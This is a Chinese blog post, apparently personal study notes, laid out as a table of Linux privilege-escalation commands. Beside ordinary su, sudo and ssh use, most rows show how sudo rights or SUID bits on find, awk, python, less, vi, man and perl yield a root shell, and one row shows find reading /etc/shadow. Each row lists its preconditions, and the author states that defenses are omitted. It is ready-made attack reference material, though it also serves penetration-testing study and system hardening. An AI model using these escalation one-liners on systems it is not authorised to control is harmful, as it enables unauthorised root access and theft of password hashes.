现在AI工具这么丰富,稍微搜一下就有一个差不多的总结输出。但是,可能还不够详细,或者给得太多~~~
今天时间关系,今天只总结了在Linux如何提权到root,并没有写如何进行防护。后面有时间,我再总结一下。
命令 | 实操 | 前提条件 | 作用说明 | 补充说明 |
su | su | 拥有root口令 | 切换到 root 用户(继承当前环境) | |
su -, -l, --login | 拥有root口令 | 切换到 root 用户(使用root环境变量) | ||
sudo | sudo -s | 当前用户在 sudoers 列表,拥有bash等默认shell的可执行权限 | 非登录式 root shell访问(保留原环境变量) | |
sudo bash | 当前用户在 sudoers 列表,拥有bash等默认shell的可执行权限 | 非登录式 root shell访问(保留原环境变量) | ||
sudo -i | 当前用户在 sudoers 列表,拥有bash等默认shell的可执行权限 | 登录式 root shell访问(使用root环境变量) | ||
sudo su | 当前用户在 sudoers 列表,拥有su命令的可执行权限 | 切换到 root 用户(继承当前环境) | ||
sudo su - | 当前用户在 sudoers 列表,拥有su命令的可执行权限 | 切换到 root 用户(使用root环境变量) | ||
ssh | ssh root@localhost | 拥有root口令 | 登录式 root shell访问(使用root环境变量) | |
ssh -i /path/to/root_key root@host | 拥有公钥文件 | 登录式 root shell访问(使用root环境变量) | ||
find | sudo find . -exec /bin/sh \; -quit | 当前用户在 sudoers 列表,拥有find命令的可执行权限 | 非登录式 root shell访问(保留原环境变量) | |
find . -exec /bin/sh \; -quit | find被授权SUID或者GUID | 非登录式 root shell访问(保留原环境变量) 仍然是普通用户权限 | 1、find确实会将root权限传递给给-exec下的命令 2、但是,shell命令可能并不吃这一套 | |
find . -exec cat /etc/shadow \; -quit | find被授权SUID或者GUID | 查看/etc/shadow文件(成功) | ||
awk | sudo awk 'BEGIN {system("/bin/sh")}' | 当前用户在 sudoers 列表,拥有awk命令的可执行权限 | 非登录式 root shell访问(保留原环境变量) | |
awk 'BEGIN {system("/bin/sh")}' | awk被授权SUID或者GUID | 非登录式 root shell访问(保留原环境变量) | ||
python | sudo python -c 'import os; os.setuid(0); os.system("/bin/sh")' | 当前用户在 sudoers 列表,拥有python命令的可执行权限 | 非登录式 root shell访问(保留原环境变量) | |
python -c 'import os; os.setuid(0); os.system("/bin/sh")' | python被授权SUID或者GUID | 非登录式 root shell访问(保留原环境变量) | ||
less/more | sudo less /etc/shadow → v → :!/bin/sh | 当前用户在 sudoers 列表,拥有less命令的可执行权限 | 非登录式 root shell访问(保留原环境变量) | |
less /etc/shadow → v → :!/bin/sh | less被授权SUID或者GUID | 非登录式 root shell访问(保留原环境变量) | ||
vim/vi | sudo vi -c ':!/bin/bash' | 当前用户在 sudoers 列表,拥有vim/vi命令的可执行权限 | 非登录式 root shell访问(保留原环境变量) | |
vi -c ':!/bin/bash' | vim/vi被授权SUID或者GUID | 非登录式 root shell访问(保留原环境变量) | ||
man | sudo man passwd → !/bin/sh | 当前用户在 sudoers 列表,拥有man命令的可执行权限 | 非登录式 root shell访问(保留原环境变量) | |
man passwd → !/bin/sh | man被授权SUID或者GUID | 非登录式 root shell访问(保留原环境变量) | ||
perl | sudo perl -e 'system("/bin/bash")' | 当前用户在 sudoers 列表,拥有perl命令的可执行权限 | 非登录式 root shell访问(保留原环境变量) | |
perl -e 'system("/bin/bash")' | perl被授权SUID或者GUID | 非登录式 root shell访问(保留原环境变量) |